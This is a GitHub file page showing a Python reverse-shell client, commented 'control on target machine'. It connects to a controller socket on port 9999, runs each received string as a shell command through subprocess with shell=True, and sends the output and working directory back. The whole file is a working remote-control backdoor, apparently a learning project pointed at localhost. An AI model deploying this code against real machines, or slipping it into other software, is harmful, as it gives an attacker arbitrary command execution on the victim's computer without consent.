-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient2.py
More file actions
61 lines (51 loc) · 1.95 KB
/
client2.py
File metadata and controls
61 lines (51 loc) · 1.95 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket
import os
import subprocess
# control on target machine
class Client:
def __init__(self):
self.clientSock = socket.socket()
self.host = '127.0.0.1' # 127.0.0.1
self.port = 9999
self.clientSock.connect((self.host, self.port))
self.ClientLoop()
def set_format(self, data):
i = str(len(data.encode()))# string of the len of the binary v of data
if(int(i) > 9999):
return "### special code ###"
i = i.zfill(14)
print(len(str(i).encode()))
return i + data
# need to encode the return
def ClientLoop(self):
output_str = ""
while True:
try:
try:
dataLen = int((self.clientSock.recv(14)).decode())
data = self.clientSock.recv(dataLen)
except:
continue
if data.decode("utf-8") == 'cd':
self.clientSock.send(str.encode(self.set_format(str(os.getcwd()))))
continue
if (len(data) > 0):
cmd = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # opening a process. mwanging the I/O
output_bytes = cmd.stdout.read() + cmd.stderr.read() # the errors and outputs
output_str = str(output_bytes, "utf-8")
self.clientSock.send(str.encode(self.set_format(output_str + str(os.getcwd()) + '.')))
print(output_str)
except socket.error as msg:
print("Oh boy")
print(output_str)
self.clientSock.close()
print(msg)
break
except:
print("Come on")
self.clientSock.send(str.encode(self.set_format("Eror Occured")))
def main():
client = Client()
return 0
if __name__ == '__main__':
main()